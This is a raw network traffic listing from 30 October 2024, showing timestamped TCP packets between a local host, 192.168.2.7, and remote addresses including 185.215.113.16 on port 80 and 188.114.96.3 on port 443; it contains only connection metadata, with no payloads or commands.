Oct 30, 2024 11:46:56.750050068 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750061989 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750089884 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750168085 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750217915 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750221014 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750221014 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750231028 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750262976 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750272989 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750320911 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750320911 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750547886 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750657082 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750668049 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750679016 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750684977 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750696898 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750705004 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750709057 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750722885 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.750756979 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750756979 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750756979 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.751244068 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751262903 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751274109 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751281023 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751326084 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.751326084 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.751332045 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751344919 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751358032 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751369953 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751383066 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751394987 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751418114 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.751418114 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.751418114 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.751528978 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.751930952 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.751941919 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752003908 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752029896 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752048969 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752058983 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752072096 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752085924 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752090931 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752090931 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752099037 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752120972 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752120972 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752139091 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752146959 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752157927 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752170086 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752182007 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752221107 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752221107 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752866983 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.752926111 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.752926111 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.753680944 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.853780031 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.853842020 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.856854916 CET	80	58201	185.215.113.206	192.168.2.7
Oct 30, 2024 11:46:56.856933117 CET	58201	80	192.168.2.7	185.215.113.206
Oct 30, 2024 11:46:56.890367985 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.890383005 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.890609026 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.912956953 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.912977934 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.912992954 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.912997961 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913011074 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913022995 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913033962 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913045883 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913069010 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913084030 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913140059 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913141966 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913141966 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913141966 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913153887 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913193941 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913204908 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913206100 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913269997 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913364887 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913364887 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913397074 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913434029 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913444996 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913455963 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913506031 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913506031 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913568020 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913579941 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913609028 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913630009 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913644075 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913646936 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913696051 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913696051 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913765907 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913801908 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913852930 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913863897 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913885117 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913896084 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913896084 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913896084 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913897038 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.913930893 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913930893 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.913930893 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914139986 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914184093 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914194107 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914196968 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914269924 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914271116 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914272070 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914285898 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914298058 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914338112 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914338112 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914338112 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914527893 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914540052 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914550066 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914591074 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914591074 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914628983 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914640903 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914653063 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914665937 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914679050 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914680004 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914680004 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914693117 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914705038 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914714098 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914727926 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914741993 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914753914 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914763927 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914767981 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914783001 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914796114 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.914808989 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914808989 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914808989 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.914833069 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.915421963 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915501118 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915515900 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915518045 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.915572882 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915585995 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915597916 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915599108 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.915611029 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915630102 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915640116 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.915662050 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.915662050 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.915662050 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.915697098 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.939512968 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.972745895 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.990070105 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.990088940 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.990205050 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.990221977 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.992523909 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.992547035 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.994278908 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.994299889 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.998353004 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.998383999 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:57.002228022 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.002258062 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:57.002268076 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.002279043 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:57.002404928 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.002430916 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:57.002454996 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.002470970 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:57.002597094 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.002638102 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.002662897 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.006993055 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:57.010237932 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.010274887 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:57.010349035 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:57.010361910 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:57.042773008 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042788982 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042803049 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042817116 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042880058 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042897940 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042912006 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042922020 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.042923927 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042922020 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.042922020 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.042938948 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042953014 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042963982 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042969942 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.042969942 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.042977095 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.042999029 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043004990 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043016911 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043029070 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043040991 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043054104 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043056011 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043056011 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043056011 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043068886 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043081045 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043093920 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043107986 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043107986 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043112993 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043128014 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043135881 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043140888 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043152094 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043154001 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043169022 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043169975 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043189049 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043200970 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043214083 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043226004 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043237925 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043241024 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043241024 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043241024 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043250084 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043262959 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043277979 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043289900 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.043304920 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043304920 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043304920 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.043338060 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076253891 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076268911 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076281071 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076303005 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076314926 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076327085 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076342106 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076358080 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076358080 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076447010 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076458931 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076471090 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076483011 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076498032 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076508999 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076515913 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076518059 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076518059 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076519012 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076530933 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076545000 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076556921 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076574087 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076589108 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076589108 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076589108 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076634884 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076703072 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076714039 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076744080 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076755047 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076765060 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076765060 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076765060 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076767921 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076797009 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076807022 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.076829910 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076829910 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076829910 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.076922894 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150439024 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150451899 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150464058 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150535107 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150584936 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150593996 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150612116 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150624990 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150635958 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150660038 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150676966 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150676966 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150698900 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150713921 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150727987 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150733948 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150783062 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150803089 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150865078 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150876045 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150913954 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150926113 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150950909 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150950909 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150950909 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.150975943 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.150990009 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151011944 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151011944 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151173115 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151191950 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151204109 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151211977 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151211977 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151216984 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151231050 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151262045 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151262045 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151262045 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151333094 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151407003 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151473999 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151485920 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:57.151531935 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:57.151531935 CET	58200	80	192.168.2.7	185.215.113.16
